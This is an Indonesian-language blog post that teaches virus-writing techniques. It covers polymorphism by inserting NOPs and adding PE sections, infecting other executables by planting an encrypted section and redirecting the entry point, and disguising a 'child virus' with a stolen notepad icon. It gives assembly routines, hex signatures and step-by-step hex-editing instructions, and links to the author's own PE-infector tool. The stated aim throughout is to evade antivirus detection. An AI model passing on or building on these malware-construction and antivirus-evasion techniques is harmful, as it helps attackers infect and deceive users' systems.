Thursday, 31 May 2012

Tehnik Polymorphic, Encrypt, Stealth & AntiDebug pada Virus


LANGSUNG MULAI tanpa basa-basi!!!
Pada artikel kali ini saya nggak akan menghabiskan waktu untuk membahas tentang apa itu virus ataupun cara pembuatannya tapi hanya akan memberikan contoh bagaimana cara membuat tehnik-tehnik seperti judul diatas (sama juga boong donk!). Btw bagi yang dah bosan dengan virus gak usah diterusin baca ini, demi keamanan anda agar tidak menjadi korban internet. eh, virus. :-)
Tehnik pertama yang akan kita pelajari adalah Polymorphic.
1. Polymorphic
============
Polymorphic adalah tehnik dimana virus mampu merubah-rubah struktur tubuhnya seperti  PE header PE Signatur maupun jumlah section pada tubuhnya, nah nilai dalam perubahan itu sendiri bisa bersifat konstanta maupun random sehingga secara otomatis CRC-nya juga akan ikut berubah, so pasti Antivirus maupun removal yang hanya menghandle virus dengan CRC, besar header, maupun nilai binarynya akan kesulitan bahkan gagal mendeteksinya sebagai virus!, biasanya polymorphic udah dibarengi dengan enkripsi, dengan key yang acak seperti mengambil nilai dengan perintah API GetTickCount() dan menjadikan nilai pengembaliannya sebagai key untuk mengenkripsi/mendekripsinya.
Sebagai contoh virus yang menggunakan tehnik ini adalah W32/Bagle cs yang sedang seru-serunya bertarung dengan W32/Netsky cs di arena pertarungan virus kelas dunia.
W32/Bagle dapat merubah struktur tubuhnya baik dengan cara NOPing maupun merubah NumberOfSection pada struktur IMAGE_FILE_HEADER.
IMAGE_FILE_HEADER STRUCT
    Machine WORD ?
    NumberOfSections WORD ?
    TimeDateStamp dd ?
    PointerToSymbolTable dd ?
    NumberOfSymbols dd ?
    SizeOfOptionalHeader WORD ?
    Characteristics WORD ?
IMAGE_FILE_HEADER ENDS
IMAGE_FILE_HEADER adalah salah satu member dari PE header dimana PE header sendiri memiliki nama official yang diinisialisasi oleh Windows sebagai IMAGE_NT_HEADERS dengan struktur :
IMAGE_NT_HEADERS STRUCT
    Signature dd ?
    FileHeader IMAGE_FILE_HEADER <>
    OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS
virus sebelum proses polymorphic dengan NOP :
code_virus_start:
      {code}
code_virus_end
virus sesudah proses polymorphic dengan NOP :
code_virus_start:
      nop
      nop   ;4 nop dah nongkrong penuh percaya diri disini
      nop
      nop
      {code}
code_virus_end
Untuk menambah section maka bisa dengan cara :
push    lpFile ;pointer menunjuk ke virus anakan target yang
call    SectionCount ;akan ditambah sectionnya
test    eax,eax ;apakah bisa ditambah sectionnya?
jz      tamat ;gak, keluar!
mov     ebx, eax
dec     ebx
push    lpFile
push   ebx
call    SectionHeadPtr ;ambil pointer section utama
mov     esi, eax ;hasil masukkan ke esi
lea     edi, nama_section ;nama section yang akan kita tambah
mov     ecx, 8 ;jumlah byte yang harus ditulis
rep     movsb ;tambah !
ret
tamat:
xor     eax,eax
ret
 
hasilnya :
virus sebelum ditambah sectionnya
|---------------|
| DOS MZ Header |
|---------------|
| DOS Stub      |
|---------------|
| PE Header     |
|---------------|
| Section Table |
|---------------|
| Section 1     |
|---------------|
| Section 2     |
|---------------|
virus sesudah ditambah sectionnya
|---------------|
| DOS MZ Header |
|---------------|
| DOS Stub      |
|---------------|
| PE Header     |
|---------------|
| Section Table | ;juga mendaftarkan section baru disini
|---------------|
| Section 1     |
|---------------|
| Section 2     |
|---------------|
| Section 3     | ;section baru pun bertambah
|---------------|
dengan penambahan section ini juga kita bisa menginfeksi file executable lain dengan cara membuat section baru yang berisi kode virus kita yang telah dienkripsi dengan key random/acak dan membelokkan EntryPoint asli ke section virus kita lalu pada akhir kode kembalikan pemanggilan pada kode program yang asli, so be happy my virus was joined with other progie.
Dengan begini Antivirus akan kesulitan untuk membunuh virus yang telah menjadi satu dengan tubuh file executable yang lain (sebut aja PE Infector) kalaupun bisa kita harus rela applikasi kita lenyap dibumihanguskan oleh Antivirus, alias DELETE!!.
Tehnik ini telah dengan baik digunakan oleh W32/Bagle untuk menginfeksi executable seperti, dalam kasus ini saya pernah menjalankan virus Bagle dan alhasil dia menginfeksi Notepad, Kaluklator dan Explorerku, sehingga dia tidak membutuhkan penulisan HKEY/blabla/curver/run atau gandakan diri ke area startup directory untuk membuatnya dijalankan secara otomatis bila masuk Windows, hal ini bisa terjadi karena dengan dijalankannya explorer waktu Windows start, secara kasat mata Bagle juga akan ikut nongkrong di proses komputer kita!.
Untuk lebih jelasnya dan lebih meyakinkan coba tool buatan saya yang bisa menyatukan 2 program yang berbeda, INGAT!!! asal jangan digunakan untuk menggabung-gabungkan program dengan virus/spyware loh!!. download: http://www.geocities.com/anvie_2194/peinfector.zip
dan yang ini contoh hasil penggabungan antara kalkulator dan notepad (calc.exe notepad.exe) : http://www.geocities.com/anvie_2194/hasildiinfect.zip
kalo kamu pake Antivirus Avira dia akan mendeteksi hasil gabungan file kamu sebagai W32/Bagle atau Susp/Bagle, ya karena aku pake engine gaya Bagle.
Contoh kasus yang lain adalah tehnik icon polymorphic, dimana virus tersebut memiliki kemampuan untuk merubah-rubah wajahnya (self-defacing) dalam hal ini icon resourcenya, kadang bisa berubah menjadi word, jpeg, rtf, installer, dan resource icon yang ada pada SHELL32.DLL, salah satu virus yang menggunakan tehnik ini adalah virus lokal yaitu W32/decoil, dia bisa mengecoh user dengan beraneka ragam icon yang berbeda-beda bahkan melakukan pemalsuan terhadap winamp!. lama juga aku coba tuk memahami bagaimana cara kerjanya, akhirnya setelah lama berantem dengan angka hexa ternyata tehniknya sangat mudah semudah kopi paste!, dan gak pake perintah API sama sekali jadi begini :
coba buka dengan hexa editor “calc.exe” aku pake WinHex v10.7, cari nilai hexa 280000003000000060 pakai fitur hexa search, kalo dah ketemu blok dari alamat hexa yang ditemukan diatas diblok sebanyak 3750 byte lalu dikopi, setelah itu buka juga dengan hexa editor file “notepad.exe”, (jangan lupa di backup dulu sebelum di deface iconnya) lalu pakai fitur hex search cari juga nilai hex yang sama seperti diatas, kalo ketemu paste-kan nilai yang dah kita kopi tadi ke alamat yang ditemukan ditubuh “notepad.exe”, kalo dah simpan dan lihat hasilnya ikon notepad akan berubah menjadi ikon calculator!!.
Nah sekarang saya terangkan maksud diatas, nilai hexa 28000000300000060 adalah cara Windows mengenali kalo itu adalah resource icon dengan resolusi 48x48 pixel 256 colors, lihat pada byte ke 5 yaitu nilai 30 kalo didesimalkan menjadi 48. karena 48x48 pixel maka besar kapasitas iconnya adalah 3750 byte, lalu kita kopi dan di-paste-kan ke “notepad.exe” pas di resource iconnya yang 48x48 pixel 256 colors.
Daftar nilai hexa untuk masing-masing resolusi ikon :
280000001000000020 = icon resolusi 16x16 pixel 256 colors.
280000002000000040 = icon resolusi 32x32 pixel 256 colors.
280000003000000060 = icon resolusi 48x48 pixel 256 colors.

Untuk koding nya bisa begini :
Deface_my_child proc uses edi esi IconResource:DWORD,MyChild:DWORD
      LOCAL memptr1,memptr2:DWORD
      LOCAL ByteSize:DWORD
 
      push 30 ;30 = 48 maksudnya kita hanya akan mengganti
      push IconResource ;icon resource resolusi 48x48 pixels
      call ExtractIconFrom ;setelah pemanggilan ini eax berisi
      mov memptr1,eax ;alamat icon resource dan ecx berisi jumlah byte
      mov ByteSize,ecx
      ;buka file virus anakan kita
      push MyChild
      call OpenFileMapping
      mov memptr2,eax ;eax berisi alamat file hasil maping di memory
      ;rubah wajahnya dengan icon dari memptr1
      push memptr1 ;alamat icon dari memptr1
      push ByteSize ;jumlah bytes yang harus dituliskan (overwriting)
      push eax ;alamat virus anakan (file handle)
      call WritesToFile ;panggil prosedur penulisan pada file yang
      push eax ;dah di mapping di memory
      call CloseFileMapping ;jangan lupa bebaskan memory
      ret
Deface_my_child endp
 
contoh penggunaan prosedur diatas adalah :
.data
      source db ‘C:\windows\notepad.exe’,0
      target db ‘c:\windows\virus_anakan.exe’,0
.code
satrt:
      push offset target
      push offset source
      call Deface_my_child
 
      push 0
      call ExitProcess
end start
Setelah kode tadi dieksekusi icon virus kamu akan berubah wujud!, menjadi notepad! (cuma kamuflase).
----------------------------------------------------------------------------------------------------
Wah kayaknya kalo diterusin artikel ini gak cukup ditulis sekali, nah daripada ntar dipotong ma pengelola Jasakom, mendingan kita lanjutin tehnik yang lainnya pada artikel selanjutnya aja deh ya..... setuju nggak? (kalo komentarnya gak setuju niscaya akan kuhentikan artikel ini sampai disini.).
oh ya, untuk mereka yang mengatainku pelit dah puas!?.
Untuk yang dah pada ahli ma’af bila ada kesalahan dalam pemahaman saya ini, ya karena aku juga masih newbie dan masih butuh belajar banyak dari para suhu.

Socializer Widget By Blogger Yard
SOCIALIZE IT →
FOLLOW US →
SHARE IT →

0 comments:

Post a Comment